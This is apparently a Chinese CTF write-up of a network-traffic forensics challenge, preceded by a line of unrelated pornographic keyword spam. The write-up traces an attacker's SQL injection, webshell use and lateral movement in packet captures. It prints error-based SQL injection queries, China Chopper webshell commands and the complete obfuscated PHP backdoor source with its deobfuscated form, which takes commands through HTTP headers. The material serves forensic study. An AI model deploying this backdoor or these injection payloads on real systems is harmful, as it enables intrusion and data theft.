日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2018.5.5信息安全铁人三项赛数据赛复现

發布時間:2024/9/30 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2018.5.5信息安全铁人三项赛数据赛复现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

最近的學習效率不是很高,但無論在家還是學校都要學會自律,而且馬上就鐵人三項比賽了,通過復現一些之前的賽題進行學習。

0x01:涉及的一些協議

  • TCP(傳送控制協議)
  • 作用:是一種面向連接、可靠的、基于字節流的傳輸層通信協議
    功能:數據包分塊、發送接收確認、超時重發、數據校驗、數據包排序、控制流量

    TCP格式

    連接,三次握手

    斷開連接,四處揮手

    3. UDP(用戶數據報協議)
    4. IP (互聯網協議)
    5. FTP(文件傳輸協議)

    作用:用于網絡上進行文件傳輸的一套標準協議,使用C/S模式。屬于應用層。
    FTP一般運行在20和21兩個端口。20用于傳輸控制流

    在wireshark過濾器中

    ftp 只顯示命令鏈路的,沒有數據鏈路的 ftp-data 傳輸數據的鏈路 ftp-data or ftp 全部顯示
  • ARP(地址解析協議)
  • 作用:通過解析網絡層地址來尋找數據鏈路層地址,即通過IP地址定位MAC地址


    7. DHCP(動態地址配置協議)

    作用:用于內部網絡或網絡服務供應商自動分配IP地址給用戶

    請求過程和報文格式

    0x02:常用過濾命令

    #1.過濾IP ip.addr==192.168.x.x ip.addr.eq 192.168.x.x (addr/src/dst) #2.過濾協議 http/tcp/telnet/ssh #3.過濾HTTP請求方法 http.request.method==POST(GET) #4.uri中包含eval關鍵字 http.request.uri contains eval #5.請求狀態碼為404 http.response.code==404 #6.連接符 && || and or

    做題技巧:

    1.大量404請求-》目錄掃描 2.大量select...from關鍵字請求-》sql注入 3.連續一個ip的多端口請求或多個ip的幾個相同端口請求-》端口掃描 4.常見的關鍵字: Login、admin、manage、edit、upload、eval assert、POST、select、404、alert

    2018.5.5信息安全鐵人三項

    #題目描述 1.黑客攻擊的第一個受害主機的網卡IP地址 2.黑客對URL的哪一個參數實施了SQL注入 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) 4.第一個受害主機網站數據庫的名字 5.Joomla后臺管理員的密碼是多少 6.黑客第一次獲得的php木馬的密碼是什么 7.黑客第二次上傳php木馬是什么時間 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) 10.php代理第一次被使用時最先連接了哪個IP地址 11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什么時候 12.黑客在內網主機中添加的用戶名和密碼是多少 13.黑客從內網服務器中下載下來的文件名

    第一個數據包


    一大堆的數據包,先過濾http協議查看一下

    這個IP很可疑,而且也是公網的IP,過濾一下可靠他都訪問了哪些IP

    http.request.method==GET && ip.src==202.1.1.2


    發現202.1.1.2對192.168.1.8發送大量的請求(爆破),所以黑客攻擊的第一個受害主機的網卡IP地址192.168.1.8

    繼續往下面看,發現在進行SQL注入,隨便拿一個追蹤數據流


    所以黑客對URL的list[select]參數實施了SQL注入

    在報錯信息中可以查看到網站數據庫的表前綴
    為ajtuc_

    接下來確定第一個受害主機網站數據庫的名字,SQL注入而且是GET方式的,肯定會在傳入的參數中留下注入的數據庫名字,再次進行過濾

    (ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http

    直接查看202.1.1.2,SQL注入的最后一條請求,進行解碼

    第一個受害主機網站數據庫的名字為Joomla

    接下來查找Joomla后臺管理員的密碼是什么

    http contains "password" && http.request.method==POST


    過濾出兩條登陸的信息,但查看HTTP數據流發現都是在測試密碼,所以這里沒有密碼,一開始覺得是在第二個流量包里面,但是過濾后發現已經是登陸成功了,所以既然密碼沒有在登陸出現,就去查一下是否在SQL注入的時候給爆破出來了,就在過濾語句中添加password

    ip.dst == 192.168.1.8 && http contains "password"

    查到三條數據

    查看返回的報錯信息

    Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date` Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date` Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date` qqzvq$2y$10$lXujU7XaUviJDigqqkkq qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq qqzvqzi/8B2QRD7qIlDJeqqkkq

    發現SQL語句前面都有一個0x71717a7671,后面有一個0x71716b6b71,解碼一下

    0x71717a7671 qqzvq 0x71716b6b71 qqkkq

    所以是前綴和后綴,去掉這些,得到

    $2y$10$lXujU7XaUviJDig FMzKy6.wx7EMCBqpzrJdn7 zi/8B2QRD7qIlDJe

    到這一步也不知道該怎么弄了,看了飄零師傅的博客,最后是合在一起,組成密文解密即可(所以上面的報文錯誤信息就需要按順序排列)

    $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe

    這個不知道要怎么破解,破解之后應該就是密碼了

    第二個數據包

    接下來查看黑客第一次獲得的php木馬的密碼是什么

    這個是在第一個數據包最后面發現的,一個php文件,一看就不正常好吧 ,應該不會開發人員沒事干寫個這種文件,所以應該是木馬,追蹤一下流查看一下

    但是啥也沒,所以就直接切換第二個數據包進行查看

    (ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http

    發現有幾個數據包是POST /kkkaaa.php,追蹤一下流進行查看

    傳入的可以解碼一下,而且服務器返回的狀態碼是200,說明是成功的

    zzz=@eval(base64_decode($_POST[z0])); &z0= @ini_set("display_errors", "0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo ("->|");; $D = dirname($_SERVER["SCRIPT_FILENAME"]); if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]); $R = "{$D}\t"; if (substr($D, 0, 1) != "/") {foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:"; } $R.= "\t"; $u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : ''; $usr = ($u) ? $u['name'] : @get_current_user(); $R.= php_uname(); $R.= "({$usr})"; print $R;; echo ("|<-"); die();

    所以很明顯了php木馬的密碼是zzz

    黑客第二次上傳php木馬是什么時間

    發現一個footer.php文件,但并沒有上傳這個文件的過程,猜想是不是通過之前的木馬進行上傳的

    (ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http.request.method==POST


    發現第四個有些特別,可以查看下

    解碼并進行格式化后發現有footer. php

    &zzz = @eval(base64_decode($_POST[z0])); &z0 = @ini_set("display_errors", "0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo ("->|");; $f = base64_decode($_POST["z1"]); $c = $_POST["z2"]; $c = str_replace("\r", "", $c); $c = str_replace("\n", "", $c); $buf = ""; for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); echo (@fwrite(fopen($f, "w"), $buf) ? "1" : "0");; echo ("|<-"); die(); & z1 = / var /www / html / joomla / tmp / footer . php & z2 = < ? php $p = 'l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5'; $d = ']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>'; $W = '),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base'; $e = ']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>'; $E = '>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}'; $t = '($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>'; $M = ']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto'; $P = ']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>'; $j = str_replace('fr', '', 'cfrrfreatfrfre_funcfrtfrion'); $k = '];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>'; $g = '"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>'; $R = '$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o='; $Q = ']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>'; $v = ']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]'; $x = str_replace('>]', '', $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E); $N = $j('', $x); $N(); ?>

    但下面那一段代碼輸出后是什么,可以測試一下

    var_dump($x);

    格式化一下

    <?PHP "$kh="cb42";$kf="e130"; function x($t, $k) {$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; $j < $c && $i < $l; $j++, $i++) {$o .= $t[$i] ^ $k[$j];}}return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){$u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); if ($q && $m) { @session_start(); $s = & $_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0] . $m[1][1]; $h = $sl($ss(md5($i . $kh), 0, 3)); $f = $sl($ss(md5($i . $kf), 0, 3)); $p = ""; for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]]; if (strpos($p, $h) === 0) {$s[$i] = ""; $p = $ss($p, 3); }if (array_key_exists($i, $s)) {$s[$i].= $p; $e = strpos($s[$i], $f); if ($e) {$k = $kh . $kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print ("<$k>$d</$k>"); @session_destroy(); }}}}"

    所以黑客第二次上傳php木馬時間是

    17:20:44.248365000

    第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據

    觀察木馬涉及到了這兩個與HTTP頭有關的參數

    $_SERVER["HTTP_REFERER"]和$_SERVER["HTTP_ACCEPT_LANGUAGE"]

    查看一下上傳進去的第二個木馬

    先進行過濾一下

    (ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http

    查看其中的一個footer. php文件

    發現Referer比較可疑,所以第二次上傳的木馬通過HTTP協議中Referer來傳遞數據的,一開始我是這樣做的,但這樣感覺跟猜測一樣,沒有確定的證據,看了飄零師傅的題解,發現要先解碼

    是亂碼,再看上面的木馬,有一段是這樣的,與小馬的特性有關

    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));

    一個PHP混淆后門的分析

    返回的是加密后的信息

    所以這樣才能進行確定第二次上傳的木馬通過HTTP協議中Referer來傳遞數據的

    內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)

    注意這里是內網主機,所以再用http是查不多任何結果的,使用TCP協議,上面也介紹了這種協議

    tcp contains "mysql" && mysql

    在第二個數據包,沒有找到任何信息,查看第三個數據包也沒有發現,看第四個

    第四個數據包


    發現192.168.1.8進行頻繁的登陸,應該是在爆破MySQL密碼

    tcp contains "mysql" && mysql && ip.src==192.168.1.8

    進一步過濾,找最后一條信息,應該就是登陸成功了

    內網主機的mysql用戶名和請求連接的密碼hash是

    admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

    總結一下已經得到的信息

    1.黑客攻擊的第一個受害主機的網卡IP地址 192.168.1.8 2.黑客對URL的哪一個參數實施了SQL注入 list[select] 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) ajtuc_ 4.第一個受害主機網站數據庫的名字 joomla 5.Joomla后臺管理員的密碼是多少 $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密) 6.黑客第一次獲得的php木馬的密碼是什么 zzz 7.黑客第二次上傳php木馬是什么時間 17:20:44.248365 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 Referer 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

    接下來看第10個問題

    php代理第一次被使用時最先連接了哪個IP地址

    (ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http

    查看一下,發現又多出來一個文件

    該主機已經被掛上了tunnel.php,方便外網對內網的訪問,所以php代理第一次被使用時最先連接了4.2.2.2

    第九個數據包

    黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什么時候

    (ip.src==202.1.1.2&&ip.dst==192.168.1.8) && (http contains "dir" && http contains "ls")

    如果還是這樣的過濾方法就查詢不到信息,因為這種查詢固定了src只能是202.1.1.2,不能接收來自192.168.1.8的信息,之前用這種過濾的可能還行,但更好的還是使用下面這種過濾方法:

    (ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

    發現了ls、dir

    觀察追蹤ls的數據流,發現并沒有列出文件,追蹤一下dir的數據流

    很明顯都列出來了,所以黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生

    18:37:38.482420000

    而且目標系統為windows

    黑客在內網主機中添加的用戶名和密碼是多少

    由上面可以知道192.168.2.20的機器可以執行命令,所以過濾出這個IP

    ip.addr == 192.168.2.20 && http


    黑客利用echo命令寫入了一個名為sh.php的后門,在18:49:27.767754000時間發現

    發現一條可疑數據,解碼一下傳入的參數發現

    &z1=cmd&z2=cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user&echo [S]&cd&echo [E]

    判斷黑客應該是執行了net user的命令,再往下面看發現

    在18:50:42.908737000 時間時間出現了一個kaka用戶

    分析一下

    18:49:27.767754時,不存在kaka用戶 18:50:42.908737時,kaka用戶已成為管理員

    說明就在這期間,黑客設置了管理員,下面就過濾下查詢

    所以添加用戶名和密碼一定就在這之間

    結果在18:49:48.830665000時間找到了添加用戶的信息
    解碼發現,添加了kaka用戶,而且密碼也為kaka

    故黑客在內網主機中添加的用戶名和密碼均是kaka

    最后查詢一下黑客從內網服務器中下載下來的文件名是什么?

    ip.src == 192.168.2.20 && http contains "install"

    如果黑客請求了,192.168.2.20這個IP一定會返回響應的信息,過濾后查到了

    看了飄零師傅的題解,既然是下載,應該就是利用中國菜刀進行下載,那只過濾出post流量,查看命令即可

    ip.dst==192.168.2.20 && http.request.method==POST

    直接查找最后一條信息

    解碼發現也是這個文件,所以可以確定黑客下載的就是這個文件

    答案匯總

    1.黑客攻擊的第一個受害主機的網卡IP地址 192.168.1.8 2.黑客對URL的哪一個參數實施了SQL注入 list[select] 3.第一個受害主機網站數據庫的表前綴(加上下劃線 例如abc_) ajtuc_ 4.第一個受害主機網站數據庫的名字 joomla 5.Joomla后臺管理員的密碼是多少 $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密) 6.黑客第一次獲得的php木馬的密碼是什么 zzz 7.黑客第二次上傳php木馬是什么時間 17:20:44.248365 8.第二次上傳的木馬通過HTTP協議中的哪個頭傳遞數據 Referer 9.內網主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4 10.php代理第一次被使用時最先連接了哪個IP地址 4.2.2.2 11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發生在什么時候 18:37:38.482420 12.黑客在內網主機中添加的用戶名和密碼是多少 kaka:kaka 13.黑客從內網服務器中下載下來的文件名 lsass.exe_180208_185247.dmp

    總結

    做完感覺挺有意思的,有些地方沒有想到就看看飄零師傅的題解,師傅實在tql,像師傅學習!

    總結

    以上是生活随笔為你收集整理的2018.5.5信息安全铁人三项赛数据赛复现的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。